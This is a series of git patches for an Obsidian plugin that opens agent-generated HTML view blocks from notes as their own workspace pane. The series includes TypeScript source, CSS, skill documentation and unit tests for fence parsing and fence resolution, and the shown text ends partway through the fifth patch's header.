From eac420805a1c4dfb899fc625f9f721fd07532438 Mon Sep 17 00:00:00 2001 From: Leo310 Date: Thu, 17 Sep 2026 14:31:42 +0200 Subject: [PATCH 01/21] feat(views): open a note's view as its own leaf MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A new workspace view type shows one `s2b-view` fence of a note filling the pane, with no note chrome. The note stays the source of truth: the leaf re-renders when the note changes on disk (which is how an agent edit accepted through the review flow lands), follows renames, and persists its target (note path + fence index) with the workspace layout. Header actions open the source note and refresh. Entry points: a hover-revealed corner button on any rendered view in a note, a third toolbar button in chat that saves the block (once) and opens it, and an "Open note as view" command on the active note. The render child gains a `fill` mode — the frame takes its container's height and ignores auto-sizing — and `viewFences.ts` locates a note's top-level fences (nested example fences excluded) so a block can find its own index from the section info the processor receives. Co-Authored-By: Claude --- src/genview/ViewRenderChild.ts | 8 +- src/genview/registerViewBlocks.ts | 55 ++++++++- src/genview/viewFences.ts | 68 +++++++++++ src/main.ts | 24 ++++ src/skills/defaults/views/SKILL.md | 5 +- src/styles.css | 30 +++++ src/views/gen-view/GenView.ts | 175 +++++++++++++++++++++++++++++ test/genview/viewFences.test.ts | 62 ++++++++++ 8 files changed, 417 insertions(+), 10 deletions(-) create mode 100644 src/genview/viewFences.ts create mode 100644 src/views/gen-view/GenView.ts create mode 100644 test/genview/viewFences.test.ts diff --git a/src/genview/ViewRenderChild.ts b/src/genview/ViewRenderChild.ts index e854234a..82b86f61 100644 --- a/src/genview/ViewRenderChild.ts +++ b/src/genview/ViewRenderChild.ts @@ -44,6 +44,8 @@ export class ViewRenderChild extends MarkdownRenderChild { private readonly app: App, private readonly spec: ViewSpec, private readonly sourcePath: string, + /** `fill`: the frame takes its container's height (a leaf) instead of sizing to content. */ + private readonly options: { fill?: boolean } = {}, ) { super(containerEl); } @@ -57,7 +59,8 @@ export class ViewRenderChild extends MarkdownRenderChild { title: this.spec.title ?? "View", }, }); - frame.style.height = `${(this.spec.height ?? DEFAULT_AUTO_HEIGHT) + 2 * VIEW_FRAME_PADDING_PX}px`; + if (this.options.fill) frame.addClass("s2b-view-fill"); + else frame.style.height = `${(this.spec.height ?? DEFAULT_AUTO_HEIGHT) + 2 * VIEW_FRAME_PADDING_PX}px`; this.frame = frame; this.registerDomEvent(window, "message", (event: MessageEvent) => this.onMessage(event)); @@ -77,7 +80,7 @@ export class ViewRenderChild extends MarkdownRenderChild { this.spec.body, collectThemeCss(), resolveViewLibs(this.spec.libs).sources, - this.spec.height === undefined, + !this.options.fill && this.spec.height === undefined, ); } @@ -105,6 +108,7 @@ export class ViewRenderChild extends MarkdownRenderChild { this.scheduleRefresh(); break; case "resize": { + if (this.options.fill) break; // Auto: follow the content. Declared: the layout gets that height, but the frame // shrinks to the content's drawn extent when that is shorter — models over-estimate // heights, and the surplus would show as empty space. Percentage-sized children diff --git a/src/genview/registerViewBlocks.ts b/src/genview/registerViewBlocks.ts index 505c163b..bbc2c7bc 100644 --- a/src/genview/registerViewBlocks.ts +++ b/src/genview/registerViewBlocks.ts @@ -2,6 +2,8 @@ import { type App, Notice, normalizePath, setIcon, type TFile } from "obsidian"; import type SecondBrainPlugin from "../main"; import { getData } from "../stores/dataStore.svelte"; import { VIEW_TYPE_CHAT } from "../views/chat/Chat"; +import { openGenView } from "../views/gen-view/GenView"; +import { viewFenceAtLine } from "./viewFences"; import { ViewRenderChild } from "./ViewRenderChild"; import { resolveViewLibs, VIEW_LIBS } from "./viewLibs"; import { parseViewSpec, VIEW_BLOCK_LANGUAGE, type ViewSpec, viewFileBasename, wrapViewFence } from "./viewSpec"; @@ -36,10 +38,12 @@ export function registerViewBlocks(plugin: SecondBrainPlugin): void { }); return; } - // Inside a chat the block is a proposal the user may want to keep; in a note it - // already is the note, so the toolbar only appears in the chat. + // Inside a chat the block is a proposal the user may want to keep, so it gets a + // toolbar; in a note it already is the note and only offers to open as a pane. if (el.closest(`.workspace-leaf-content[data-type="${VIEW_TYPE_CHAT}"]`)) { renderChatToolbar(plugin, el, spec, source); + } else { + renderNoteAction(plugin, el, ctx.sourcePath, ctx.getSectionInfo(el)); } ctx.addChild(new ViewRenderChild(el, plugin.app, spec, ctx.sourcePath)); }); @@ -59,9 +63,40 @@ function renderPlaceholder(el: HTMLElement): void { placeholder.createDiv({ cls: "s2b-view-placeholder-label", text: "Generating view…" }).style.animationDelay = phase; } +/** + * In a note, a hover-revealed corner button that opens this block as its own pane. + * The block's index among the note's view fences comes from the section info Obsidian + * hands the processor; without it (some embed contexts) there is no safe target. + */ +function renderNoteAction( + plugin: SecondBrainPlugin, + el: HTMLElement, + sourcePath: string, + section: { text: string; lineStart: number } | null, +): void { + if (!section || !sourcePath) return; + const fence = viewFenceAtLine(section.text, section.lineStart); + if (!fence) return; + iconButton( + el, + "maximize-2", + "Open as view", + () => openGenView(plugin, { path: sourcePath, index: fence.index }), + "s2b-view-open", + ); +} + function renderChatToolbar(plugin: SecondBrainPlugin, el: HTMLElement, spec: ViewSpec, source: string): void { const bar = el.createDiv({ cls: "s2b-view-toolbar" }); bar.createSpan({ cls: "s2b-view-toolbar-title", text: spec.title ?? "View" }); + // Saving twice from the same block would create a second note; remember the first. + let saved: TFile | null = null; + const save = async (): Promise => { + saved ??= await saveViewAsNote(plugin.app, getData().viewsFolder, spec, source); + return saved; + }; + const report = (error: unknown) => + new Notice(`Could not save view: ${error instanceof Error ? error.message : String(error)}`); iconButton(bar, "copy", "Copy as block to paste into a note", async () => { await navigator.clipboard.writeText(wrapViewFence(source)); @@ -69,18 +104,26 @@ function renderChatToolbar(plugin: SecondBrainPlugin, el: HTMLElement, spec: Vie }); iconButton(bar, "save", "Save as a note in the vault", async () => { try { - const file = await saveViewAsNote(plugin.app, getData().viewsFolder, spec, source); + const file = await save(); new Notice(`Saved view to ${file.path}`); await plugin.app.workspace.getLeaf("tab").openFile(file); } catch (error) { - new Notice(`Could not save view: ${error instanceof Error ? error.message : String(error)}`); + report(error); + } + }); + iconButton(bar, "maximize-2", "Save and open as its own view", async () => { + try { + const file = await save(); + await openGenView(plugin, { path: file.path, index: 0 }); + } catch (error) { + report(error); } }); } -function iconButton(parent: HTMLElement, icon: string, label: string, onClick: () => Promise): void { +function iconButton(parent: HTMLElement, icon: string, label: string, onClick: () => Promise, cls = ""): void { const button = parent.createDiv({ - cls: "clickable-icon", + cls: `clickable-icon ${cls}`.trim(), attr: { role: "button", tabindex: "0", "aria-label": label }, }); setIcon(button, icon); diff --git a/src/genview/viewFences.ts b/src/genview/viewFences.ts new file mode 100644 index 00000000..b9fd3ee8 --- /dev/null +++ b/src/genview/viewFences.ts @@ -0,0 +1,68 @@ +/** + * Locate `s2b-view` fences in a note's markdown, so a note can be opened as a view + * (`views/gen-view/GenView.ts`) and a rendered block can find its own index. + * + * Fence-aware in the CommonMark sense: a fence opened inside another fence (the views + * skill's own ````markdown examples) is content, not a view. Opening markers may be + * indented up to three spaces; the closing marker uses the same character, at least + * the same length, and carries no info string. + */ + +import { parseViewSpec, VIEW_BLOCK_LANGUAGE, type ViewSpec } from "./viewSpec"; + +export interface ViewFence { + /** Position among the note's view fences, top to bottom. */ + index: number; + /** Zero-based line of the opening marker (what `getSectionInfo` reports for the block). */ + lineStart: number; + /** Zero-based line of the closing marker. */ + lineEnd: number; + /** The fence body, verbatim. */ + source: string; + spec: ViewSpec; +} + +const OPENING = /^ {0,3}(`{3,}|~{3,})\s*([^\s`]*)/; + +function closes(line: string, char: string, length: number): boolean { + const match = /^ {0,3}(`{3,}|~{3,})\s*$/.exec(line); + return match !== null && match[1][0] === char && match[1].length >= length; +} + +/** Every top-level `s2b-view` fence in `markdown`, in document order. */ +export function findViewFences(markdown: string): ViewFence[] { + const lines = markdown.replace(/\r\n?/g, "\n").split("\n"); + const fences: ViewFence[] = []; + let open: { char: string; length: number; lang: string; lineStart: number } | null = null; + let body: string[] = []; + for (let i = 0; i < lines.length; i++) { + const line = lines[i]; + if (open) { + if (closes(line, open.char, open.length)) { + if (open.lang === VIEW_BLOCK_LANGUAGE) { + const source = body.join("\n"); + fences.push({ + index: fences.length, + lineStart: open.lineStart, + lineEnd: i, + source, + spec: parseViewSpec(source), + }); + } + open = null; + body = []; + } else { + body.push(line); + } + continue; + } + const match = OPENING.exec(line); + if (match) open = { char: match[1][0], length: match[1].length, lang: match[2], lineStart: i }; + } + return fences; +} + +/** The view fence whose opening marker is on `line`, or null. */ +export function viewFenceAtLine(markdown: string, line: number): ViewFence | null { + return findViewFences(markdown).find((fence) => fence.lineStart === line) ?? null; +} diff --git a/src/main.ts b/src/main.ts index 46e902a4..a8bdeeff 100755 --- a/src/main.ts +++ b/src/main.ts @@ -30,6 +30,8 @@ import { onCodexSessionChange } from "./stores/providerRuntime.svelte"; import { invalidateAuthState, invalidateProviderState } from "./lib/query"; import { LexicalSearchService } from "./search/LexicalSearchService"; import { registerViewBlocks } from "./genview/registerViewBlocks"; +import { findViewFences } from "./genview/viewFences"; +import { GenView, openGenView, VIEW_TYPE_GEN_VIEW } from "./views/gen-view/GenView"; import { ChatView, VIEW_TYPE_CHAT } from "./views/chat/Chat"; import { navigateToPendingChange } from "./lib/pendingChangeNavigation"; import { registerChatEmbed, unregisterChatEmbed } from "./views/chat/chatEmbed"; @@ -479,6 +481,8 @@ export default class SecondBrainPlugin extends Plugin { // }); // this.registerView(VIEW_TYPE_NOTE_CONTEXT, (leaf) => new NoteContextView(leaf, this)); this.registerView(VIEW_TYPE_ONBOARDING, (leaf) => new OnboardingView(leaf, this)); + // A note's `s2b-view` fence as its own leaf (see views/gen-view/GenView.ts). + this.registerView(VIEW_TYPE_GEN_VIEW, (leaf) => new GenView(leaf, this)); if (this.manifest.dir === undefined) { this.unload(); @@ -530,6 +534,26 @@ export default class SecondBrainPlugin extends Plugin { this.registerMobileNavbarSearchOverride(); + this.addCommand({ + id: "open-note-as-view", + name: "Open note as view", + icon: "layout-dashboard", + checkCallback: (checking) => { + const file = this.app.workspace.getActiveFile(); + if (!file || file.extension !== "md") return false; + if (!checking) { + void (async () => { + if (findViewFences(await this.app.vault.read(file)).length === 0) { + new Notice("This note has no view block."); + return; + } + await openGenView(this, { path: file.path, index: 0 }); + })(); + } + return true; + }, + }); + this.addCommand({ id: "open-smart-graph", name: "Open smart graph", diff --git a/src/skills/defaults/views/SKILL.md b/src/skills/defaults/views/SKILL.md index aefd00f8..fbda53c4 100644 --- a/src/skills/defaults/views/SKILL.md +++ b/src/skills/defaults/views/SKILL.md @@ -15,8 +15,9 @@ wrote it. An optional frontmatter block at the top declares a title, a fixed hei named Dataview queries that the host runs for you and keeps live as the vault changes. The user keeps a view from the toolbar above it: copy it as a block to paste into any -note, or save it as its own note. Do not create that note yourself unless asked; if the -user does ask, stage it with `manage_notes` and put the same fence in the note body. +note, save it as its own note, or save and open it as its own pane. A view in a note +can be opened as a pane at any time. Do not create that note yourself unless asked; if +the user does ask, stage it with `manage_notes` and put the same fence in the note body. ## Format ````markdown diff --git a/src/styles.css b/src/styles.css index 8a99fc91..dbb80cdf 100755 --- a/src/styles.css +++ b/src/styles.css @@ -1660,8 +1660,38 @@ body.is-mobile .tool-output-content pre .clickable-icon { /* ---- Agent-generated views (`s2b-view` fences, src/genview) ---------------- */ .s2b-view { + position: relative; margin: var(--size-4-2) 0; } +/* In a note: hover-revealed corner button that opens the block as its own pane. */ +.s2b-view-open { + position: absolute; + top: var(--size-4-2); + right: var(--size-4-2); + opacity: 0; + transition: opacity 0.15s; +} +.s2b-view:hover .s2b-view-open, +.s2b-view-open:focus-visible { + opacity: 1; +} +@media (hover: none) { + .s2b-view-open { + opacity: 1; + } +} +/* ---- A view as its own leaf (views/gen-view) ---- */ +.view-content.s2b-gen-view { + padding: 0; +} +.s2b-gen-view-body { + height: 100%; +} +.s2b-view-frame.s2b-view-fill { + height: 100%; + border: 0; + border-radius: 0; +} .s2b-view-frame { display: block; /* The host sets this frame's height to content + padding; the border must sit diff --git a/src/views/gen-view/GenView.ts b/src/views/gen-view/GenView.ts new file mode 100644 index 00000000..be189722 --- /dev/null +++ b/src/views/gen-view/GenView.ts @@ -0,0 +1,175 @@ +import { ItemView, Notice, TFile, type ViewStateResult, type WorkspaceLeaf } from "obsidian"; +import type SecondBrainPlugin from "../../main"; +import { findViewFences, type ViewFence } from "../../genview/viewFences"; +import { ViewRenderChild } from "../../genview/ViewRenderChild"; + +export const VIEW_TYPE_GEN_VIEW = "smart-second-brain-view"; + +/** Which fence of which note this leaf shows; persisted with the workspace layout. */ +export interface GenViewState { + path: string; + index: number; +} + +const RERENDER_DEBOUNCE_MS = 500; + +/** + * A note's `s2b-view` fence as its own workspace leaf: the frame fills the pane, no + * note chrome around it. The note stays the source of truth — the leaf re-renders when + * the note changes on disk (which is how an agent edit accepted through the review + * flow lands here) and follows renames. Header actions open the source note and + * refresh; there is deliberately no editing surface of its own. + */ +export class GenView extends ItemView { + navigation = true; + private state: GenViewState | null = null; + private body: HTMLElement | null = null; + private child: ViewRenderChild | null = null; + private title: string | null = null; + private rerenderTimer: number | null = null; + + constructor( + leaf: WorkspaceLeaf, + private readonly plugin: SecondBrainPlugin, + ) { + super(leaf); + } + + getViewType(): string { + return VIEW_TYPE_GEN_VIEW; + } + + getDisplayText(): string { + if (this.title) return this.title; + const path = this.state?.path; + return path ? (path.split("/").pop() ?? path).replace(/\.md$/i, "") : "View"; + } + + getIcon(): string { + return "layout-dashboard"; + } + + getState(): Record { + return { ...(this.state ?? { path: "", index: 0 }) }; + } + + async setState(state: unknown, result: ViewStateResult): Promise { + const next = toState(state); + if (next) { + this.state = next; + await this.render(); + } + await super.setState(state, result); + } + + async onOpen(): Promise { + this.contentEl.empty(); + this.contentEl.addClass("s2b-gen-view"); + this.body = this.contentEl.createDiv({ cls: "s2b-gen-view-body" }); + + this.addAction("file-text", "Open source note", () => void this.openSource()); + this.addAction("refresh-cw", "Refresh", () => void this.render()); + + this.registerEvent( + this.plugin.app.vault.on("modify", (file) => { + if (file.path === this.state?.path) this.scheduleRender(); + }), + ); + this.registerEvent( + this.plugin.app.vault.on("rename", (file, oldPath) => { + if (this.state && oldPath === this.state.path && file instanceof TFile) { + this.state = { ...this.state, path: file.path }; + this.refreshHeader(); + } + }), + ); + this.registerEvent( + this.plugin.app.vault.on("delete", (file) => { + if (file.path === this.state?.path) this.showMessage("The note behind this view was deleted."); + }), + ); + if (this.state) await this.render(); + } + + async onClose(): Promise { + if (this.rerenderTimer !== null) window.clearTimeout(this.rerenderTimer); + this.dropChild(); + } + + private scheduleRender(): void { + if (this.rerenderTimer !== null) window.clearTimeout(this.rerenderTimer); + this.rerenderTimer = window.setTimeout(() => { + this.rerenderTimer = null; + void this.render(); + }, RERENDER_DEBOUNCE_MS); + } + + private async render(): Promise { + if (!this.body || !this.state) return; + const file = this.plugin.app.vault.getFileByPath(this.state.path); + if (!file) { + this.showMessage(`Note not found: ${this.state.path}`); + return; + } + const fences = findViewFences(await this.plugin.app.vault.read(file)); + const fence: ViewFence | undefined = fences[this.state.index] ?? fences[0]; + if (!fence) { + this.showMessage("This note has no view block."); + return; + } + this.dropChild(); + this.body.empty(); + this.title = fence.spec.title ?? null; + this.refreshHeader(); + this.child = new ViewRenderChild(this.body, this.plugin.app, fence.spec, file.path, { fill: true }); + this.addChild(this.child); + } + + /** Re-read the display text into the tab header. Internal leaf API, absent from the typings. */ + private refreshHeader(): void { + (this.leaf as unknown as { updateHeader?: () => void }).updateHeader?.(); + } + + private showMessage(text: string): void { + this.dropChild(); + this.body?.empty(); + this.body?.createDiv({ cls: "s2b-view-blocked", text }); + } + + private dropChild(): void { + if (this.child) { + this.removeChild(this.child); + this.child = null; + } + } + + private async openSource(): Promise { + const file = this.state ? this.plugin.app.vault.getFileByPath(this.state.path) : null; + if (!file) { + new Notice("The source note is gone."); + return; + } + await this.plugin.app.workspace.getLeaf("tab").openFile(file); + } +} + +function toState(value: unknown): GenViewState | null { + if (typeof value !== "object" || value === null) return null; + const record = value as Record; + if (typeof record.path !== "string" || !record.path) return null; + const index = + typeof record.index === "number" && Number.isInteger(record.index) && record.index >= 0 ? record.index : 0; + return { path: record.path, index }; +} + +/** Show `path`'s `index`-th view in its own leaf, reusing one already showing it. */ +export async function openGenView(plugin: SecondBrainPlugin, state: GenViewState): Promise { + const workspace = plugin.app.workspace; + const existing = workspace.getLeavesOfType(VIEW_TYPE_GEN_VIEW).find((leaf) => { + const shown = leaf.view instanceof GenView ? toState(leaf.view.getState()) : null; + return shown?.path === state.path && shown.index === state.index; + }); + const leaf = existing ?? workspace.getLeaf("tab"); + if (!existing) await leaf.setViewState({ type: VIEW_TYPE_GEN_VIEW, state: { ...state }, active: true }); + await workspace.revealLeaf(leaf); +} diff --git a/test/genview/viewFences.test.ts b/test/genview/viewFences.test.ts new file mode 100644 index 00000000..73c8c049 --- /dev/null +++ b/test/genview/viewFences.test.ts @@ -0,0 +1,62 @@ +import { describe, expect, it } from "vitest"; +import { findViewFences, viewFenceAtLine } from "../../src/genview/viewFences"; + +const NOTE = [ + "# Dashboard", + "", + "```s2b-view", + "---", + "title: First", + "---", + "

one

", + "```", + "", + "Some prose with ```inline``` backticks.", + "", + "````markdown", + "```s2b-view", + "

this is an example inside a longer fence, not a view

", + "```", + "````", + "", + "~~~s2b-view", + "

two

", + "~~~", + "", + "```js", + "console.log('```s2b-view is just text here');", + "```", + "", + " ```s2b-view", + "

three, indented

", + " ```", +].join("\n"); + +describe("findViewFences", () => { + it("finds top-level view fences of either marker and skips nested and foreign ones", () => { + const fences = findViewFences(NOTE); + expect(fences.map((f) => f.index)).toEqual([0, 1, 2]); + expect(fences[0].spec.title).toBe("First"); + expect(fences[0].source).toBe("---\ntitle: First\n---\n

one

"); + expect(fences[0].lineStart).toBe(2); + expect(fences[0].lineEnd).toBe(7); + expect(fences[1].source).toBe("

two

"); + expect(fences[2].source).toBe("

three, indented

"); + }); + + it("ignores an unclosed fence", () => { + expect(findViewFences("```s2b-view\n

never closed

")).toEqual([]); + }); + + it("returns nothing for notes without views", () => { + expect(findViewFences("# Just a note\n\n```js\nlet x = 1;\n```")).toEqual([]); + }); +}); + +describe("viewFenceAtLine", () => { + it("maps the opening marker's line to its fence", () => { + expect(viewFenceAtLine(NOTE, 2)?.index).toBe(0); + expect(viewFenceAtLine(NOTE, 17)?.index).toBe(1); + expect(viewFenceAtLine(NOTE, 3)).toBeNull(); + }); +}); From 6a6dbe600185c6899ceb9eb844d24229251f9c59 Mon Sep 17 00:00:00 2001 From: Leo310 Date: Thu, 17 Sep 2026 14:37:49 +0200 Subject: [PATCH 02/21] fix(views): leaf follows renames fully, resolves its fence by title, saves once Rename: the renderer resolves queries and note links against its source path, so the leaf now re-renders after a rename instead of only updating its state. Fence identity: the persisted ordinal alone let an edit that inserted or removed an earlier fence silently redirect the leaf. The fence's title is stored beside the ordinal; a fence with that title wins, the ordinal is the fallback for untitled fences, and a target that no longer exists (including a retitled one, indistinguishable from a redirect) shows a missing-view state rather than another view. Reopening from the note re-targets. Opening an already-showing leaf re-applies the fresh target. Chat toolbar: both save buttons share one in-flight save promise, so two quick activations cannot create two notes; a failed save is forgotten so a retry is possible. Co-Authored-By: Claude --- src/genview/registerViewBlocks.ts | 18 ++++++++----- src/main.ts | 5 ++-- src/views/gen-view/GenView.ts | 44 +++++++++++++++++++++++++++---- test/views/genViewResolve.test.ts | 39 +++++++++++++++++++++++++++ 4 files changed, 92 insertions(+), 14 deletions(-) create mode 100644 test/views/genViewResolve.test.ts diff --git a/src/genview/registerViewBlocks.ts b/src/genview/registerViewBlocks.ts index bbc2c7bc..6d076799 100644 --- a/src/genview/registerViewBlocks.ts +++ b/src/genview/registerViewBlocks.ts @@ -81,7 +81,7 @@ function renderNoteAction( el, "maximize-2", "Open as view", - () => openGenView(plugin, { path: sourcePath, index: fence.index }), + () => openGenView(plugin, { path: sourcePath, index: fence.index, title: fence.spec.title }), "s2b-view-open", ); } @@ -89,11 +89,15 @@ function renderNoteAction( function renderChatToolbar(plugin: SecondBrainPlugin, el: HTMLElement, spec: ViewSpec, source: string): void { const bar = el.createDiv({ cls: "s2b-view-toolbar" }); bar.createSpan({ cls: "s2b-view-toolbar-title", text: spec.title ?? "View" }); - // Saving twice from the same block would create a second note; remember the first. - let saved: TFile | null = null; - const save = async (): Promise => { - saved ??= await saveViewAsNote(plugin.app, getData().viewsFolder, spec, source); - return saved; + // Saving twice from the same block would create a second note: share one in-flight + // save between both buttons, and forget it only if it failed. + let saving: Promise | null = null; + const save = (): Promise => { + saving ??= saveViewAsNote(plugin.app, getData().viewsFolder, spec, source).catch((error: unknown) => { + saving = null; + throw error; + }); + return saving; }; const report = (error: unknown) => new Notice(`Could not save view: ${error instanceof Error ? error.message : String(error)}`); @@ -114,7 +118,7 @@ function renderChatToolbar(plugin: SecondBrainPlugin, el: HTMLElement, spec: Vie iconButton(bar, "maximize-2", "Save and open as its own view", async () => { try { const file = await save(); - await openGenView(plugin, { path: file.path, index: 0 }); + await openGenView(plugin, { path: file.path, index: 0, title: spec.title }); } catch (error) { report(error); } diff --git a/src/main.ts b/src/main.ts index a8bdeeff..7a3092cc 100755 --- a/src/main.ts +++ b/src/main.ts @@ -543,11 +543,12 @@ export default class SecondBrainPlugin extends Plugin { if (!file || file.extension !== "md") return false; if (!checking) { void (async () => { - if (findViewFences(await this.app.vault.read(file)).length === 0) { + const [first] = findViewFences(await this.app.vault.read(file)); + if (!first) { new Notice("This note has no view block."); return; } - await openGenView(this, { path: file.path, index: 0 }); + await openGenView(this, { path: file.path, index: 0, title: first.spec.title }); })(); } return true; diff --git a/src/views/gen-view/GenView.ts b/src/views/gen-view/GenView.ts index be189722..3470adea 100644 --- a/src/views/gen-view/GenView.ts +++ b/src/views/gen-view/GenView.ts @@ -5,10 +5,17 @@ import { ViewRenderChild } from "../../genview/ViewRenderChild"; export const VIEW_TYPE_GEN_VIEW = "smart-second-brain-view"; -/** Which fence of which note this leaf shows; persisted with the workspace layout. */ +/** + * Which fence of which note this leaf shows; persisted with the workspace layout. The + * fence's `title` (when it has one) is stored beside its ordinal so an edit that inserts + * or removes an earlier fence does not silently redirect the leaf: a fence with the + * stored title wins, the ordinal is the fallback, and a target that no longer exists + * shows as missing rather than as some other view. + */ export interface GenViewState { path: string; index: number; + title?: string; } const RERENDER_DEBOUNCE_MS = 500; @@ -79,7 +86,9 @@ export class GenView extends ItemView { this.plugin.app.vault.on("rename", (file, oldPath) => { if (this.state && oldPath === this.state.path && file instanceof TFile) { this.state = { ...this.state, path: file.path }; - this.refreshHeader(); + // The renderer resolves queries and note links against its source path; + // rebuild it so the view follows the note to its new folder. + void this.render(); } }), ); @@ -112,11 +121,16 @@ export class GenView extends ItemView { return; } const fences = findViewFences(await this.plugin.app.vault.read(file)); - const fence: ViewFence | undefined = fences[this.state.index] ?? fences[0]; + const fence = resolveFence(fences, this.state); if (!fence) { - this.showMessage("This note has no view block."); + this.showMessage( + fences.length === 0 + ? "This note has no view block." + : "The view this pane was opened for is no longer in the note.", + ); return; } + this.state = { ...this.state, index: fence.index, title: fence.spec.title }; this.dropChild(); this.body.empty(); this.title = fence.spec.title ?? null; @@ -159,7 +173,23 @@ function toState(value: unknown): GenViewState | null { if (typeof record.path !== "string" || !record.path) return null; const index = typeof record.index === "number" && Number.isInteger(record.index) && record.index >= 0 ? record.index : 0; - return { path: record.path, index }; + const title = typeof record.title === "string" && record.title ? record.title : undefined; + return { path: record.path, index, title }; +} + +/** The fence `state` refers to: by stored title first, then by ordinal; null when neither holds. */ +export function resolveFence(fences: readonly ViewFence[], state: GenViewState): ViewFence | null { + if (state.title) { + const byTitle = fences.find((fence) => fence.spec.title === state.title); + if (byTitle) return byTitle; + } + const byIndex = fences[state.index]; + if (!byIndex) return null; + // A stored title that matches nothing but whose ordinal is still a view: the user most + // likely retitled it. A stored title that matches nothing while the ordinal now shows a + // *different* titled view is a redirect; refuse it. + if (state.title && byIndex.spec.title && byIndex.spec.title !== state.title && fences.length > 1) return null; + return byIndex; } /** Show `path`'s `index`-th view in its own leaf, reusing one already showing it. */ @@ -169,6 +199,10 @@ export async function openGenView(plugin: SecondBrainPlugin, state: GenViewState const shown = leaf.view instanceof GenView ? toState(leaf.view.getState()) : null; return shown?.path === state.path && shown.index === state.index; }); + if (existing) { + // The requested target is authoritative (a fresh index/title from the note). + await existing.setViewState({ type: VIEW_TYPE_GEN_VIEW, state: { ...state }, active: true }); + } const leaf = existing ?? workspace.getLeaf("tab"); if (!existing) await leaf.setViewState({ type: VIEW_TYPE_GEN_VIEW, state: { ...state }, active: true }); await workspace.revealLeaf(leaf); diff --git a/test/views/genViewResolve.test.ts b/test/views/genViewResolve.test.ts new file mode 100644 index 00000000..0804659d --- /dev/null +++ b/test/views/genViewResolve.test.ts @@ -0,0 +1,39 @@ +import { describe, expect, it } from "vitest"; +import { findViewFences } from "../../src/genview/viewFences"; +import { resolveFence } from "../../src/views/gen-view/GenView"; + +const fence = (title?: string) => + `\`\`\`s2b-view\n${title ? `---\ntitle: ${title}\n---\n` : ""}

${title ?? "untitled"}

\n\`\`\``; + +describe("resolveFence", () => { + it("follows a titled fence when an earlier fence is inserted or removed", () => { + const before = findViewFences([fence("A"), fence("B")].join("\n\n")); + const state = { path: "n.md", index: 1, title: before[1].spec.title }; + const inserted = findViewFences([fence("X"), fence("A"), fence("B")].join("\n\n")); + expect(resolveFence(inserted, state)?.index).toBe(2); + const removed = findViewFences([fence("B")].join("\n\n")); + expect(resolveFence(removed, state)?.index).toBe(0); + }); + + it("falls back to the ordinal for untitled fences", () => { + const fences = findViewFences([fence(), fence()].join("\n\n")); + expect(resolveFence(fences, { path: "n.md", index: 1 })?.index).toBe(1); + // Ordinal still valid and untitled while the stored title matches nothing: accept it. + const mixed = findViewFences([fence("A"), fence()].join("\n\n")); + expect(resolveFence(mixed, { path: "n.md", index: 1, title: "B" })?.index).toBe(1); + }); + + it("treats a retitled fence as missing rather than guessing", () => { + // Indistinguishable from a redirect by title alone; reopening from the note fixes it. + const retitled = findViewFences([fence("A"), fence("B2")].join("\n\n")); + expect(resolveFence(retitled, { path: "n.md", index: 1, title: "B" })).toBeNull(); + }); + + it("reports a missing target instead of redirecting to another view", () => { + const fences = findViewFences([fence("A"), fence("C")].join("\n\n")); + // "B" is gone and ordinal 1 is now a different titled view. + expect(resolveFence(fences, { path: "n.md", index: 1, title: "B" })).toBeNull(); + expect(resolveFence(fences, { path: "n.md", index: 5 })).toBeNull(); + expect(resolveFence([], { path: "n.md", index: 0 })).toBeNull(); + }); +}); From 88d3a13bbf50dcdcbc0121f341ba45e09a4d5171 Mon Sep 17 00:00:00 2001 From: Leo310 Date: Thu, 17 Sep 2026 14:54:23 +0200 Subject: [PATCH 03/21] fix(views): a leaf's frame spans the full pane width The frame width leaves room for its border; in a leaf the border is 0, so the variable it reads is 0 there too and no 2px gap remains. Co-Authored-By: Claude --- src/styles.css | 1 + 1 file changed, 1 insertion(+) diff --git a/src/styles.css b/src/styles.css index dbb80cdf..c86ba4d2 100755 --- a/src/styles.css +++ b/src/styles.css @@ -1688,6 +1688,7 @@ body.is-mobile .tool-output-content pre .clickable-icon { height: 100%; } .s2b-view-frame.s2b-view-fill { + --s2b-view-border-width: 0px; height: 100%; border: 0; border-radius: 0; From 8999da76b3421396a9e1916078e8d2cb25fda229 Mon Sep 17 00:00:00 2001 From: Leo310 Date: Thu, 17 Sep 2026 15:02:29 +0200 Subject: [PATCH 04/21] fix(views): a leaf whose note is missing is titled by the note The header was built before the state arrived and the not-found path never refreshed it, so the tab read "View" instead of the note's name. Co-Authored-By: Claude --- src/views/gen-view/GenView.ts | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src/views/gen-view/GenView.ts b/src/views/gen-view/GenView.ts index 3470adea..dc9cdbcb 100644 --- a/src/views/gen-view/GenView.ts +++ b/src/views/gen-view/GenView.ts @@ -148,6 +148,9 @@ export class GenView extends ItemView { this.dropChild(); this.body?.empty(); this.body?.createDiv({ cls: "s2b-view-blocked", text }); + // No fence title to show; the tab falls back to the note's name. + this.title = null; + this.refreshHeader(); } private dropChild(): void { From c040ccc4e0b700ac74ed7e673a3c02c8b8f3dc80 Mon Sep 17 00:00:00 2001 From: Leo310 Date: Thu, 17 Sep 2026 15:21:51 +0200 Subject: [PATCH 05/21] =?UTF-8?q?feat(views):=20standalone=20`.view`=20fil?= =?UTF-8?q?es=20=E2=80=94=20leaf,=20embeds,=20agent-writable,=20out=20of?= =?UTF-8?q?=20the=20index?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Views become files, not fences in notes, when kept on their own. A `.view` file holds exactly a fence's body (optional frontmatter, then HTML) and is bound to a FileView that fills the pane; it re-renders when the file changes on disk, follows renames and deletes like any file view, and — since Obsidian has no editor for the extension — carries a minimal source mode of its own (textarea, save/cancel, Cmd/Ctrl-S) behind a header action. `![[Name.view]]` embeds and hover previews render through the embed registry the `.chat` previews already use. The chat toolbar's "save as note" and "open as view" collapse into one: save as a `.view` file, which opens it. The corner button on fences in notes and the note-index targeting (ordinal + title) go away with the note-backed leaf they served. Why a file: a fence in a note put its HTML and JavaScript into Obsidian's search and, worse, the plugin's retrieval index; a `.view` file is indexed by neither. Fences in notes stay for inline use, and their bodies are now replaced by a `(view: )` marker before indexing so a note that holds a dashboard is still findable by name without its code becoming chunks. `manage_notes` accepts `.view` paths so the agent creates and revises views through the same staged review as notes. Co-Authored-By: Claude <noreply@anthropic.com> --- src/agent/tools/manageNotes.ts | 28 ++-- src/genview/registerViewBlocks.ts | 66 +++------ src/genview/viewFences.ts | 28 +++- src/main.ts | 33 ++--- 